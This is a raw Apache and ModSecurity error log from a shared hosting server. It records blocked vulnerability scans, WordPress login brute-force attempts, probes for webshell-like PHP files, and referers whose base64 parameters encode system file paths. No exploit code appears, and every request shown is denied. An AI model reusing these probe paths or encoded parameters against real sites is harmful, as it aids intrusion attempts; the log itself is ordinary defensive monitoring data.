Jun 13 18:24:52.874087 2026] [security2:error] [pid 646876:tid 646890] [remote 17.246.19.196:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 196.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai301NyTkdrNlD40tSHcFAAAZgs"] [Sat Jun 13 18:24:53.018852 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:24:53.019312 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:24:53.019649 2026] [access_compat:error] [pid 715691:tid 715734] [remote 57.141.14.34:44074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:53.020103 2026] [access_compat:error] [pid 715691:tid 715734] [remote 57.141.14.34:44074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:53.090431 2026] [security2:error] [pid 715691:tid 715928] [client 159.223.112.69:47248] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai301bV-dFiaX9AtWiQwigAAAWE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:53.136774 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.67:44003] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:53.137209 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.67:44003] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:53.311283 2026] [security2:error] [pid 715691:tid 715901] [client 159.223.112.69:47264] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai301bV-dFiaX9AtWiQwkwAAAUY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:53.485059 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.52:54550] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:53.485333 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.52:54550] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:53.524350 2026] [security2:error] [pid 715691:tid 715878] [client 185.199.157.18:46705] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/admin.php"] [unique_id "ai301bV-dFiaX9AtWiQwoAAAAS8"] [Sat Jun 13 18:24:53.527288 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:24:53.527562 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:24:53.618107 2026] [security2:error] [pid 715691:tid 715809] [remote 17.22.237.4:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 4.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai301bV-dFiaX9AtWiQwogABPmI"] [Sat Jun 13 18:24:53.661363 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.68:27734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:53.661637 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.68:27734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:53.753838 2026] [security2:error] [pid 646876:tid 646934] [remote 57.141.14.108:34107] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/beta/content/histanddynasties/content/histanddynasties/EarlierHan/SouthernChen/Ming/SouthernSong/SouthMing/content/EarlierHan/EasternJin/NorthernWei/SouthMing/EarlierHan/kangxi.php"] [unique_id "ai301dyTkdrNlD40tSHcHwAAPDc"] [Sat Jun 13 18:24:53.815124 2026] [security2:error] [pid 646876:tid 646921] [remote 17.241.219.67:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 67.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai301dyTkdrNlD40tSHcIAAAFio"] [Sat Jun 13 18:24:54.027810 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.27:31630] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:54.028095 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.27:31630] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:54.075694 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:24:54.075992 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:24:54.219515 2026] [security2:error] [pid 646876:tid 647033] [client 159.223.112.69:47266] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai301tyTkdrNlD40tSHcLQAAABk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:54.440240 2026] [security2:error] [pid 646876:tid 647071] [client 159.223.112.69:47282] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai301tyTkdrNlD40tSHcLwAAAD8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:54.575880 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:24:54.576172 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:24:54.659259 2026] [security2:error] [pid 715691:tid 715966] [client 159.223.112.69:47294] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai301rV-dFiaX9AtWiQw0gAAAYc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:54.754814 2026] [access_compat:error] [pid 715691:tid 715732] [remote 57.141.14.52:54560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:54.755245 2026] [access_compat:error] [pid 715691:tid 715732] [remote 57.141.14.52:54560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:54.883929 2026] [security2:error] [pid 715691:tid 715825] [remote 17.246.23.46:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai301rV-dFiaX9AtWiQw2AABDXI"] [Sat Jun 13 18:24:54.886710 2026] [security2:error] [pid 715691:tid 715961] [client 159.223.112.69:47306] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai301rV-dFiaX9AtWiQw2QAAAYI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:55.109253 2026] [security2:error] [pid 715691:tid 715888] [client 159.223.112.69:47310] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3017V-dFiaX9AtWiQw5gAAATk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:55.110869 2026] [access_compat:error] [pid 646876:tid 647102] [client 185.199.157.15:59847] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/js/index.php, referer: http://krosscorp.us/wp-admin/js/ [Sat Jun 13 18:24:55.113572 2026] [access_compat:error] [pid 646876:tid 647102] [client 185.199.157.15:59847] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/js/index.phtml, referer: http://krosscorp.us/wp-admin/js/ [Sat Jun 13 18:24:55.119268 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:24:55.119688 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:24:55.124257 2026] [access_compat:error] [pid 646876:tid 647102] [client 185.199.157.15:59847] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/js/index.php5, referer: http://krosscorp.us/wp-admin/js/ [Sat Jun 13 18:24:55.295846 2026] [access_compat:error] [pid 715691:tid 715835] [remote 57.141.14.16:47654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:55.296305 2026] [access_compat:error] [pid 715691:tid 715835] [remote 57.141.14.16:47654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:55.307445 2026] [security2:error] [pid 715691:tid 715867] [client 34.66.224.20:51854] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.224.66.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3017V-dFiaX9AtWiQw9QAAASQ"] [Sat Jun 13 18:24:55.437088 2026] [security2:error] [pid 715691:tid 715866] [client 185.199.157.18:37829] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/themes/news-portal/zdata.php"] [unique_id "ai3017V-dFiaX9AtWiQw-gAAASM"] [Sat Jun 13 18:24:55.531315 2026] [security2:error] [pid 646876:tid 647072] [client 159.223.112.69:40772] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3019yTkdrNlD40tSHcRQAAAEA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:55.553217 2026] [access_compat:error] [pid 715691:tid 715794] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:55.553493 2026] [access_compat:error] [pid 715691:tid 715794] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:55.618473 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:24:55.618848 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:24:55.751098 2026] [security2:error] [pid 715691:tid 715891] [client 159.223.112.69:40780] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3017V-dFiaX9AtWiQxAwAAATw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:55.754649 2026] [access_compat:error] [pid 646876:tid 647005] [remote 57.141.14.68:41112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:55.754932 2026] [access_compat:error] [pid 646876:tid 647005] [remote 57.141.14.68:41112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:55.762814 2026] [security2:error] [pid 715691:tid 715838] [remote 17.22.253.51:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3017V-dFiaX9AtWiQxBAABD38"] [Sat Jun 13 18:24:55.971315 2026] [security2:error] [pid 715691:tid 715856] [client 159.223.112.69:40788] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com 